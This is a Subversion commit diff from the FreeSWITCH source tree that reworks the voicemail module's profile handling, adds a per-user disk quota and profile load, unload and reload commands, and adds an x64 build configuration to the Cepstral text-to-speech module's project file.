 					switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "destination_number", caller_profile->destination_number);
 					switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "caller_id_number", caller_id_number);
 					
@@ -1984,30 +2106,17 @@
 											   &x_domain_root, &x_domain, &x_user, NULL, params) != SWITCH_STATUS_SUCCESS) {
 						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't find user [%s@%s]\n", myid, domain_name);
 						ok = 0;
+					} else {
+						myid = switch_core_session_strdup(session, switch_xml_attr(x_user, "id"));
 					}
-					
+
 					switch_event_destroy(&params);
 
 					if (!ok) {
 						goto end;
-					} else {
-						const char *x_box = switch_xml_attr(x_user, "mailbox");
-						
-						if (x_box) {
-							myid = switch_core_session_strdup(session, x_box);
-						}
-						
-						if ((actual_id = switch_xml_attr(x_user, "id"))) {
-							actual_id = switch_core_session_strdup(session, actual_id);
-						} else {
-							actual_id = id;
-						}
 					}
-
 				}
 
-				
-
 				thepass = thehash = NULL;
 				switch_snprintf(sql, sizeof(sql), "select * from voicemail_prefs where username='%s' and domain='%s'", myid, domain_name);
 				vm_execute_sql_callback(profile, profile->mutex, sql, prefs_callback, &cbt);
@@ -2028,20 +2137,20 @@
 					const char *val = switch_xml_attr_soft(x_param, "value");
 					
 					if (!strcasecmp(var, "a1-hash")) {
-						thehash = val;
+						thehash = switch_core_session_strdup(session, val);
 					} else if (!strcasecmp(var, "vm-a1-hash")) {
-						vmhash = val;
+						vmhash = switch_core_session_strdup(session, val);
 					} else if (!auth && !thepass && !strcasecmp(var, "password")) {
-						thepass = val;
+						thepass = switch_core_session_strdup(session, val);
 					} else if (!auth && !strcasecmp(var, "vm-password")) {
 						if (!switch_strlen_zero(val) && !strcasecmp(val, "user-choose")) {
 							if (switch_strlen_zero(cbt.password)) {
 								auth = 1;
 							} else {
-								thepass = val;
+								thepass = switch_core_session_strdup(session, val);
 							}
 						} else {
-							thepass = val;
+							thepass = switch_core_session_strdup(session, val);
 						}
 					} else if (!strcasecmp(var, "vm-mailto")) {
 						vm_email = switch_core_session_strdup(session, val);
@@ -2053,7 +2162,6 @@
 					} 
 
 				}
-				
 
 				if (!mypass) {
 					if (auth) {
@@ -2072,8 +2180,6 @@
 					}
 				}
 
-
-
 				if (vmhash) {
 					thehash = vmhash;
 				}
@@ -2179,7 +2285,6 @@
 {
 	char *file_path = NULL, *dir_path = NULL;
 	const char *myid = switch_xml_attr(x_user, "id");
-	const char *mybox = switch_xml_attr(x_user, "mailbox");
 	switch_uuid_t uuid;
 	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
 	const char *filename;
@@ -2200,10 +2305,6 @@
 	switch_event_t *local_event = NULL;
 	switch_status_t ret = SWITCH_STATUS_SUCCESS;
 	
-	if (mybox) {
-		myid = mybox;
-	}
-	
 	if (params) {
 		switch_event_create(&local_event, SWITCH_EVENT_REQUEST_PARAMS);
 		params = local_event;
@@ -2309,11 +2410,13 @@
 		switch_event_add_header_string(message_event, SWITCH_STACK_BOTTOM, "VM-Flags", read_flags);
 		switch_event_add_header_string(message_event, SWITCH_STACK_BOTTOM, "VM-Folder", myfolder);
 		switch_event_add_header(message_event, SWITCH_STACK_BOTTOM, "VM-Message-Len", "%u", message_len);
-		switch_event_add_header(message_event, SWITCH_STACK_BOTTOM, "VM-Timestamp", "%lu", (unsigned long) switch_timestamp(NULL));
+		switch_event_add_header(message_event, SWITCH_STACK_BOTTOM, "VM-Timestamp", "%lu", (unsigned long) switch_epoch_time_now(NULL));
 
 		switch_event_fire(&message_event);
 
-		usql = switch_mprintf("insert into voicemail_msgs values(%ld,0,'%q','%q','%q','%q','%q','%q','%q','%u','','%q')", (long) switch_timestamp(NULL),
+		usql = switch_mprintf("insert into voicemail_msgs(created_epoch, read_epoch, username, domain, uuid, cid_name, "
+							  "cid_number, in_folder, file_path, message_len, flags, read_flags) "
+							  "values(%ld,0,'%q','%q','%q','%q','%q','%q','%q','%u','','%q')", (long) switch_epoch_time_now(NULL),
 							  myid, domain_name, uuid_str, caller_id_name, caller_id_number,
 							  myfolder, file_path, message_len, read_flags);
 
@@ -2346,7 +2449,7 @@
 					  &total_new_urgent_messages, &total_saved_urgent_messages);
 
 		if (switch_strlen_zero(vm_timezone) || (switch_strftime_tz(vm_timezone, profile->date_fmt, date, sizeof(date), 0) != SWITCH_STATUS_SUCCESS)) {
-			switch_time_exp_lt(&tm, switch_timestamp_now());
+			switch_time_exp_lt(&tm, switch_micro_time_now());
 			switch_strftime(date, &retsize, sizeof(date), profile->date_fmt, &tm);
 		}
 
@@ -2386,7 +2489,7 @@
 		if (switch_strlen_zero(profile->email_from)) {
 			from = switch_core_sprintf(pool, "%s@%s", myid, domain_name);
 		} else {
-			from = switch_event_expand_headers(params, profile->email_headers);
+			from = switch_event_expand_headers(params, profile->email_from);
 		}
 
 
@@ -2431,7 +2534,10 @@
 			}
 
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending message to %s\n", vm_email);
-			switch_safe_free(body);
+			
+			if (body != profile->email_body) {
+				switch_safe_free(body);	
+			}
 
 			if (headers != profile->email_headers) {
 				switch_safe_free(headers);
@@ -2476,7 +2582,10 @@
 			switch_simple_email(vm_notify_email, from, header_string, body, NULL);
 
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending notify message to %s\n", vm_notify_email);
-			switch_safe_free(body);
+			
+			if (body != profile->notify_email_body) {
+				switch_safe_free(body);	
+			}
 
 			if (headers != profile->notify_email_headers) {
 				switch_safe_free(headers);
@@ -2555,8 +2664,8 @@
 		goto end;
 	}
 
-	if (!(profile = switch_core_hash_find(globals.profile_hash, domain))) {
-		profile = switch_core_hash_find(globals.profile_hash, "default");
+	if (!(profile = get_profile(domain))) {
+		profile = get_profile("default");
 	}
 	
 	if (!profile) {
@@ -2655,6 +2764,7 @@
 				status = SWITCH_STATUS_FALSE;
 			}
 		}
+		profile_rwunlock(profile);
 		
 		switch_core_destroy_memory_pool(&pool);
 
@@ -2668,12 +2778,11 @@
 	return status;
 }
 
-static switch_status_t voicemail_leave_main(switch_core_session_t *session, const char *profile_name, const char *domain_name, const char *id)
+static switch_status_t voicemail_leave_main(switch_core_session_t *session, vm_profile_t *profile, const char *domain_name, const char *id)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	char sql[256];
 	prefs_callback_t cbt;
-	vm_profile_t *profile;
 	char *uuid = switch_core_session_get_uuid(session);
 	char *file_path = NULL;
 	char *dir_path = NULL;
@@ -2696,8 +2805,7 @@
 	switch_time_exp_t tm;
 	char date[80] = "";
 	switch_size_t retsize;
-	switch_time_t ts = switch_timestamp_now();
-	char *dbuf = NULL;
+	switch_time_t ts = switch_micro_time_now();
 	char *vm_storage_dir = NULL;
 	char *record_macro = VM_RECORD_MESSAGE_MACRO;
 	int send_main = 0;
@@ -2709,6 +2817,7 @@
 	switch_xml_t x_domain = NULL, x_domain_root = NULL, x_user = NULL, x_params = NULL, x_param = NULL;
 	switch_event_t *vars = NULL;
 	const char *vm_cc = NULL, *vtmp, *vm_ext = NULL;
+	int disk_quota = 0;
 	
 	if (!(caller_id_name = switch_channel_get_variable(channel, "effective_caller_id_name"))) {
 		caller_id_name = caller_profile->caller_id_name;
@@ -2719,22 +2828,18 @@
 	}
 
 	memset(&cbt, 0, sizeof(cbt));
-	if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error invalid profile %s\n", profile_name);
-		return SWITCH_STATUS_FALSE;
-	}
 
 	if (id) {
 		int ok = 1;
-		switch_event_t *params = NULL;
+		switch_event_t *locate_params = NULL;
 		const char *email_addr = NULL;
 
-		switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
-		switch_assert(params);
-		switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "mailbox", id);
+		switch_event_create(&locate_params, SWITCH_EVENT_REQUEST_PARAMS);
+		switch_assert(locate_params);
 
 		if (switch_xml_locate_user("id", id, domain_name, switch_channel_get_variable(channel, "network_addr"),
-								   &x_domain_root, &x_domain, &x_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
+								   &x_domain_root, &x_domain, &x_user, NULL, locate_params) == SWITCH_STATUS_SUCCESS) {
+			id = switch_core_session_strdup(session, switch_xml_attr(x_user, "id"));
 			if ((x_params = switch_xml_child(x_user, "params"))) {
 				for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
 					const char *var = switch_xml_attr_soft(x_param, "name");
@@ -2756,6 +2861,8 @@
 						insert_db = switch_true(val);
 					} else if (!strcasecmp(var, "vm-attach-file")) {
 						email_attach = switch_true(val);
+					} else if (!strcasecmp(var, "vm-disk-quota")) {
+						disk_quota = atoi(val);
 					} else if (!strcasecmp(var, "vm-alternate-greet-id")) {
 						read_id = switch_core_session_strdup(session, val);
 					}
@@ -2793,7 +2900,7 @@
 			ok = 0;
 		}
 
-		switch_event_destroy(&params);
+		switch_event_destroy(&locate_params);
 		
 		if (!ok) {
 			goto end;
@@ -2840,6 +2947,8 @@
 	args.buf = buf;
 	args.buflen = sizeof(buf);
 
+	switch_ivr_sleep(session, 100, SWITCH_TRUE, NULL);
+
 	if (!switch_strlen_zero(greet_path)) {
 		memset(buf, 0, sizeof(buf));
 		TRY_CODE(switch_ivr_play_file(session, NULL, greet_path, &args));
@@ -2861,8 +2970,8 @@
 
 	if (*buf != '\0') {
   greet_key_press:
-		if (!strcasecmp(buf, profile->main_menu_key)) {
-			voicemail_check_main(session, profile_name, domain_name, id, 0);
+		if (switch_stristr(buf, profile->login_keys)) {
+			voicemail_check_main(session, profile, domain_name, id, 0);
 		} else if (!strcasecmp(buf, profile->operator_key) && !switch_strlen_zero(profile->operator_key)) {
 			int argc;
 			char *argv[4];
@@ -2898,6 +3007,27 @@
 		}
 	}
 
+	if (disk_quota) {
+		callback_t callback = { 0 };
+		char sqlstmt[256];
+		char disk_usage[256]; 
+
+		callback.buf = disk_usage;
+		callback.len = sizeof(disk_usage);
+
+		switch_snprintf(sqlstmt, sizeof(sqlstmt),
+						"select sum(message_len) from voicemail_msgs where username='%s' and domain='%s'",
+						id, domain_name);
+		vm_execute_sql_callback(profile, profile->mutex, sql, sql2str_callback, &callback);
+
+		if (atoi(disk_usage) >= disk_quota) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail disk quota is exceeded for %s\n", id);
+			TRY_CODE(switch_ivr_phrase_macro(session, VM_DISK_QUOTA_EXCEEDED_MACRO, NULL, NULL, NULL));
+			goto end;
+		}
+	}
+
+
 	memset(&fh, 0, sizeof(fh));
 	args.input_callback = control_playback;
 	memset(&cc, 0, sizeof(cc));
@@ -2906,9 +3036,7 @@
 	cc.noexit = 1;
 	args.buf = &cc;
 
-	dbuf = switch_mprintf("%s (%s)", caller_id_name, caller_id_number);
-	switch_channel_set_variable(channel, "RECORD_ARTIST", dbuf);
-	free(dbuf);
+	switch_channel_set_variable_printf(channel, "RECORD_ARTIST", "%s (%s)", caller_id_name, caller_id_number);
 
 	switch_time_exp_lt(&tm, ts);
 	switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
@@ -2946,22 +3074,31 @@
 		}
 	}
 	
-	switch_channel_get_variables(channel, &vars);
-	status = deliver_vm(profile, x_user, domain_name, file_path, message_len, read_flags, vars, 
-						switch_core_session_get_pool(session), caller_id_name, caller_id_number, SWITCH_FALSE);
-	switch_event_destroy(&vars);
-	if (status == SWITCH_STATUS_SUCCESS) {
-		if ((vm_cc = switch_channel_get_variable(channel, "vm_cc"))) {
-			char *cmd = switch_core_session_sprintf(session, "%s %s %s %s", vm_cc, file_path, caller_id_number, caller_id_name);
-			if (voicemail_inject(cmd) == SWITCH_STATUS_SUCCESS) {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Sent Carbon Copy to %s\n", vm_cc);
-			} else {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to Carbon Copy to %s\n", vm_cc);
+	if (!x_domain_root) {
+		switch_xml_locate_user("id", id, domain_name, switch_channel_get_variable(channel, "network_addr"),
+							   &x_domain_root, &x_domain, &x_user, NULL, NULL);
+		id = switch_core_session_strdup(session, switch_xml_attr(x_user, "id"));
+	}
+
+	if (x_domain_root) {
+		switch_channel_get_variables(channel, &vars);
+		status = deliver_vm(profile, x_user, domain_name, file_path, message_len, read_flags, vars, 
+							switch_core_session_get_pool(session), caller_id_name, caller_id_number, SWITCH_FALSE);
+		switch_event_destroy(&vars);
+		if (status == SWITCH_STATUS_SUCCESS) {
+			if ((vm_cc = switch_channel_get_variable(channel, "vm_cc"))) {
+				char *cmd = switch_core_session_sprintf(session, "%s %s %s %s", vm_cc, file_path, caller_id_number, caller_id_name);
+				if (voicemail_inject(cmd) == SWITCH_STATUS_SUCCESS) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Sent Carbon Copy to %s\n", vm_cc);
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to Carbon Copy to %s\n", vm_cc);
+				}
 			}
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to deliver message\n");
+			TRY_CODE(switch_ivr_phrase_macro(session, VM_ACK_MACRO, "deleted", NULL, NULL));
 		}
-	} else {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to deliver message\n");
-		TRY_CODE(switch_ivr_phrase_macro(session, VM_ACK_MACRO, "deleted", NULL, NULL));
+
 	}
 
   end:
@@ -2989,6 +3126,7 @@
 	int argc = 0;
 	char *argv[6] = { 0 };
 	char *mydata = NULL;
+	vm_profile_t * profile = NULL;
 	const char *profile_name = NULL;
 	const char *domain_name = NULL;
 	const char *id = NULL;
@@ -3046,59 +3184,85 @@
 		return;
 	}
 
+	if (!(profile = get_profile(profile_name))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error invalid profile %s\n", profile_name);
+		return;
+	}
+
 	if (check) {
-		voicemail_check_main(session, profile_name, domain_name, id, auth);
+		voicemail_check_main(session, profile, domain_name, id, auth);
 	} else {
-		voicemail_leave_main(session, profile_name, domain_name, id);
+		voicemail_leave_main(session, profile, domain_name, id);
 	}
+
+	profile_rwunlock(profile);
+	
 }
 
-#define BOXCOUNT_SYNTAX "<user>@<domain>[|[new|saved|new-urgent|saved-urgent|all]]"
+#define BOXCOUNT_SYNTAX "[profile/]<user>@<domain>[|[new|saved|new-urgent|saved-urgent|all]]"
 SWITCH_STANDARD_API(boxcount_api_function)
 {
 	char *dup;
-	char *how = "new";
+	const char *how = "new";
 	int total_new_messages = 0;
 	int total_saved_messages = 0;
 	int total_new_urgent_messages = 0;
 	int total_saved_urgent_messages = 0;
+	vm_profile_t *profile;
+	char *id, *domain, *p, *profilename = NULL;
+	
+	if (switch_strlen_zero(cmd)) {
+		stream->write_function(stream, "%d", 0);	
+		return SWITCH_STATUS_SUCCESS;
+	}
 
-	if (cmd) {
-		switch_hash_index_t *hi;
-		void *val;
-		vm_profile_t *profile;
-		char *id, *domain, *p;
+	id = dup = strdup(cmd);
+	
+	if ((p = strchr(dup, '/'))) {
+		*p++ = '\0';
+		id = p;
+		profilename = dup;
+	}
+	
+	if (!strncasecmp(id, "sip:", 4)) {
+		id += 4;
+	}
 
-		dup = strdup(cmd);
-		id = dup;
+	if (switch_strlen_zero(id)) {
+		stream->write_function(stream, "%d", 0);
+		goto done;
+	}
 
-		if (!strncasecmp(cmd, "sip:", 4)) {
-			id += 4;
+	if ((domain = strchr(id, '@'))) {
+		*domain++ = '\0';
+		if ((p = strchr(domain, '|'))) {
+			*p++ = '\0';
+			how = p;
 		}
 
-		if (!id) {
-			stream->write_function(stream, "%d", 0);
-			free(dup);
-			return SWITCH_STATUS_SUCCESS;
-		}
-
-		if ((domain = strchr(id, '@'))) {
-			*domain++ = '\0';
-			if ((p = strchr(domain, '|'))) {
-				*p++ = '\0';
-				how = p;
+		if (!switch_strlen_zero(profilename)) {
+			if ((profile = get_profile(profilename))) {
+				message_count(profile, id, domain, "inbox", &total_new_messages, &total_saved_messages,
+							  &total_new_urgent_messages, &total_saved_urgent_messages);
+				profile_rwunlock(profile);
+			} else {
+				stream->write_function(stream, "-ERR No such profile\n");
+				goto done;
 			}
-
-			for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
+		} else {
+			/* Kept for backwards-compatibility */
+			switch_hash_index_t *hi;
+			switch_mutex_lock(globals.mutex);
+			if ((hi = switch_hash_first(NULL, globals.profile_hash))) {
+				void *val;
 				switch_hash_this(hi, NULL, NULL, &val);
 				profile = (vm_profile_t *) val;
 				total_new_messages = total_saved_messages = 0;
 				message_count(profile, id, domain, "inbox", &total_new_messages, &total_saved_messages,
 							  &total_new_urgent_messages, &total_saved_urgent_messages);
 			}
+			switch_mutex_unlock(globals.mutex);
 		}
-
-		switch_safe_free(id);
 	}
 
 	if (!strcasecmp(how, "saved")) {
@@ -3113,22 +3277,44 @@
 		stream->write_function(stream, "%d", total_new_messages);
 	}
 
+done:
+	switch_safe_free(dup);
 	return SWITCH_STATUS_SUCCESS;
 }
 
+#define parse_profile() {\
+		total_new_messages = total_saved_messages = 0;					\
+		message_count(profile, id, domain, "inbox", &total_new_messages, &total_saved_messages,	\
+					  &total_new_urgent_messages, &total_saved_urgent_messages); \
+		if (total_new_messages || total_saved_messages) {				\
+			if (switch_event_create(&new_event, SWITCH_EVENT_MESSAGE_WAITING) == SWITCH_STATUS_SUCCESS) { \
+				const char *yn = "no";									\
+				if (total_new_messages || total_new_urgent_messages) {	\
+					yn = "yes";											\
+				}														\
+				switch_event_add_header_string(new_event, SWITCH_STACK_BOTTOM, "MWI-Messages-Waiting", yn);	\
+				switch_event_add_header_string(new_event, SWITCH_STACK_BOTTOM, "MWI-Message-Account", account); \
+				switch_event_add_header(new_event, SWITCH_STACK_BOTTOM, "MWI-Voice-Message", "%d/%d (%d/%d)", \
+										+total_new_messages, total_saved_messages, total_new_urgent_messages, total_saved_urgent_messages); \
+				created++;												\
+			}															\
+		}																\
+	}
+
+
 static void message_query_handler(switch_event_t *event)
 {
 	char *account = switch_event_get_header(event, "message-account");
 	int created = 0;
 	switch_event_t *new_event = NULL;
 	char *dup = NULL;
+	int total_new_messages = 0;
+	int total_saved_messages = 0;
+	int total_new_urgent_messages = 0;
+	int total_saved_urgent_messages = 0;
 
 	if (account) {
 		switch_hash_index_t *hi;
-		int total_new_messages = 0;
-		int total_saved_messages = 0;
-		int total_new_urgent_messages = 0;
-		int total_saved_urgent_messages = 0;
 		void *val;
 		vm_profile_t *profile;
 		char *id, *domain;
@@ -3147,25 +3333,18 @@
 
 		if ((domain = strchr(id, '@'))) {
 			*domain++ = '\0';
-			for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
-				switch_hash_this(hi, NULL, NULL, &val);
-				profile = (vm_profile_t *) val;
-				total_new_messages = total_saved_messages = 0;
-				message_count(profile, id, domain, "inbox", &total_new_messages, &total_saved_messages,
-							  &total_new_urgent_messages, &total_saved_urgent_messages);
-				if (total_new_messages || total_saved_messages) {
-					if (switch_event_create(&new_event, SWITCH_EVENT_MESSAGE_WAITING) == SWITCH_STATUS_SUCCESS) {
-						const char *yn = "no";
-						if (total_new_messages || total_new_urgent_messages) {
-							yn = "yes";
-						}
-						switch_event_add_header_string(new_event, SWITCH_STACK_BOTTOM, "MWI-Messages-Waiting", yn);
-						switch_event_add_header_string(new_event, SWITCH_STACK_BOTTOM, "MWI-Message-Account", account);
-						switch_event_add_header(new_event, SWITCH_STACK_BOTTOM, "MWI-Voice-Message", "%d/%d (%d/%d)",
-												total_new_messages, total_saved_messages, total_new_urgent_messages, total_saved_urgent_messages);
-						created++;
-					}
+			profile = NULL;
+
+			if (globals.message_query_exact_match) {
+				if ((profile = (vm_profile_t *) switch_core_hash_find(globals.profile_hash, domain))) {
+					parse_profile();
 				}
+			} else {
+				for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
+					switch_hash_this(hi, NULL, NULL, &val);
+					profile = (vm_profile_t *) val;
+					parse_profile();
+				}
 			}
 		}
 
@@ -3195,7 +3374,6 @@
 
 }
 
-#define VOICEMAIL_SYNTAX "rss [<host> <port> <uri> <user> <domain>]"
 
 struct holder {
 	vm_profile_t *profile;
@@ -3205,11 +3383,11 @@
 	switch_xml_t x_item;
 	switch_xml_t x_channel;
 	int items;
-	char *user;
-	char *domain;
-	char *host;
-	char *port;
-	char *uri;
+	const char *user;
+	const char *domain;
+	const char *host;
+	const char *port;
+	const char *uri;
 };
 
 
@@ -3271,7 +3449,7 @@
 	struct holder holder;
 
 	sql = switch_mprintf("update voicemail_msgs set read_epoch=%ld where username='%s' and domain='%s' and file_path like '%%%s'",
-						 (long) switch_timestamp(NULL), user, domain, file);
+						 (long) switch_epoch_time_now(NULL), user, domain, file);
 
 	vm_execute_sql(profile, sql, profile->mutex);
 	free(sql);
@@ -3578,14 +3756,17 @@
 }
 
 
-static void do_web(vm_profile_t *profile, char *user, char *domain, char *host, char *port, char *uri, switch_stream_handle_t *stream)
+static void do_web(vm_profile_t *profile, const char *user_in, const char *domain, const char *host, const char *port, const char *uri, switch_stream_handle_t *stream)
 {
 	char buf[80] = "";
 	struct holder holder;
 	char *sql;
 	callback_t cbt = { 0 };
 	int ttl = 0;
+	char *user;
 
+	user = resolve_id(user_in, domain, "web-vm");
+
 	stream->write_function(stream, "Content-type: text/html\n\n");
 	memset(&holder, 0, sizeof(holder));
 	holder.profile = profile;
@@ -3617,6 +3798,10 @@
 	if (profile->web_tail) {
 		stream->raw_write_function(stream, (uint8_t *) profile->web_tail, strlen(profile->web_tail));
 	}
+
+	if (user != user_in) {
+		free(user);
+	}
 }
 
 #define VM_INJECT_USAGE "[group=]<box> <sound_file> [<cid_num>] [<cid_name>]"
@@ -3630,6 +3815,7 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+#define VOICEMAIL_SYNTAX "rss [<host> <port> <uri> <user> <domain>] | [load|unload|reload] <profile> [reloadxml]"
 SWITCH_STANDARD_API(voicemail_api_function)
 {
 	int argc = 0;
@@ -3640,7 +3826,12 @@
 	vm_profile_t *profile = NULL;
 	char *path_info = NULL;
 	int rss = 0, xarg = 0;
+	switch_hash_index_t *hi;
+	void *val = NULL;
+	switch_xml_t xml_root;
+	const char *err;
 
+
 	if (session) {
 		return SWITCH_STATUS_FALSE;
 	}
@@ -3664,6 +3855,47 @@
 		if (!strcasecmp(argv[0], "rss")) {
 			rss++;
 			xarg++;
+		} else if (argc > 1 && !strcasecmp(argv[0], "load")) {
+			if (argc > 2 && !strcasecmp(argv[2], "reloadxml")) {
+				if ((xml_root = switch_xml_open_root(1, &err))) {
+					switch_xml_free(xml_root);
+				}
+				stream->write_function(stream, "Reload XML [%s]\n", err);
+			}
+			if ((profile = get_profile(argv[1]))) {
+				profile_rwunlock(profile);
+			}
+			stream->write_function(stream, "+OK load complete\n");
+			goto done;
+		} else if (argc > 1 && !strcasecmp(argv[0], "unload")) {
+			destroy_profile(argv[1], SWITCH_FALSE);
+			stream->write_function(stream, "+OK unload complete\n");
+			goto done;
+		} else if (argc > 1 && !strcasecmp(argv[0], "reload")) {
+			destroy_profile(argv[1], SWITCH_FALSE);
+			if (argc > 2 && !strcasecmp(argv[2], "reloadxml")) {
+				if ((xml_root = switch_xml_open_root(1, &err))) {
+					switch_xml_free(xml_root);
+				}
+				stream->write_function(stream, "Reload XML [%s]\n", err);
+			}
+			if ((profile = get_profile(argv[1]))) {
+				profile_rwunlock(profile);
+			}
+			stream->write_function(stream, "+OK reload complete\n");
+			goto done;
+			
+		} else if (!strcasecmp(argv[0], "status")) {
+			stream->write_function(stream, "============================\n");
+			switch_mutex_lock(globals.mutex);
+			for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
+				switch_hash_this(hi, NULL, NULL, &val);
+				profile = (vm_profile_t *) val;
+				stream->write_function(stream, "Profile: %s\n", profile->name);
+			}
+			switch_mutex_unlock(globals.mutex);
+			stream->write_function(stream, "============================\n");
+			goto done;
 		}
 	}
 
@@ -3682,23 +3914,24 @@
 		goto error;
 	}
 
-	profile = switch_core_hash_find(globals.profile_hash, domain);
-
-	if (!profile) {
-		profile = switch_core_hash_find(globals.profile_hash, "default");
+	if (!(profile = get_profile(domain))) {
+		profile = get_profile("default");
 	}
 
 	if (!profile) {
-		switch_hash_index_t *hi;
-		void *val;
+		switch_hash_index_t *index;
+		void *value;
 
-		for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
-			switch_hash_this(hi, NULL, NULL, &val);
-			profile = (vm_profile_t *) val;
+		switch_mutex_lock(globals.mutex);
+		for (index = switch_hash_first(NULL, globals.profile_hash); index; index = switch_hash_next(index)) {
+			switch_hash_this(index, NULL, NULL, &value);
+			profile = (vm_profile_t *) value;
 			if (profile) {
+				switch_thread_rwlock_rdlock(profile->rwlock);
 				break;
 			}
 		}
+		switch_mutex_unlock(globals.mutex);
 	}
 
 	if (!profile) {
@@ -3720,6 +3953,7 @@
 		do_rss(profile, user, domain, host, port, uri, stream);
 	}
 
+	profile_rwunlock(profile);
 	goto done;
 
   error:
@@ -3735,7 +3969,6 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
-
 SWITCH_MODULE_LOAD_FUNCTION(mod_voicemail_load)
 {
 	switch_application_interface_t *app_interface;
@@ -3748,6 +3981,13 @@
 		return SWITCH_STATUS_TERM;
 	}
 
+	memset(&globals, 0, sizeof(globals));
+	globals.pool = pool;
+
+	switch_core_hash_init(&globals.profile_hash, globals.pool);
+	switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
+
+
 	if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
 		return status;
 	}
@@ -3765,10 +4005,47 @@
 	SWITCH_ADD_API(commands_api_interface, "voicemail_inject", "voicemail_inject", voicemail_inject_api_function, VM_INJECT_USAGE);
 	SWITCH_ADD_API(commands_api_interface, "vm_boxcount", "vm_boxcount", boxcount_api_function, BOXCOUNT_SYNTAX);
 
-	/* indicate that the module should continue to be loaded */
-	return SWITCH_STATUS_NOUNLOAD;
+
+	return SWITCH_STATUS_SUCCESS;
 }
 
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_voicemail_shutdown)
+{
+	switch_hash_index_t *hi;
+	vm_profile_t *profile;
+	void *val = NULL;
+	const void *key;
+	switch_ssize_t keylen;
+
+	switch_event_free_subclass(VM_EVENT_MAINT);
+	switch_event_unbind_callback(message_query_handler);
+
+	switch_mutex_lock(globals.mutex);
+	while((hi = switch_hash_first(NULL, globals.profile_hash))) {
+		switch_hash_this(hi, &key, &keylen, &val);
+		profile = (vm_profile_t *) val;
+		
+		switch_core_hash_delete(globals.profile_hash, profile->name);
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Waiting for write lock (Profile %s)\n", profile->name);	
+		switch_thread_rwlock_wrlock(profile->rwlock);
+		
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroying Profile %s\n", profile->name);
+
+		if (switch_odbc_available() && profile->odbc_dsn && profile->master_odbc) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Closing ODBC Database! %s\n", profile->name);
+			switch_odbc_handle_destroy(&profile->master_odbc);
+		}
+		switch_core_destroy_memory_pool(&profile->pool);
+		profile = NULL;
+	}
+	switch_mutex_unlock(globals.mutex);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
 /* For Emacs:
  * Local Variables:
  * mode:c

Modified: freeswitch/branches/seven/src/mod/asr_tts/mod_cepstral/mod_cepstral.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_cepstral/mod_cepstral.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_cepstral/mod_cepstral.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,73 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;C:\Program Files\Cepstral\sdk\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="swift.lib"
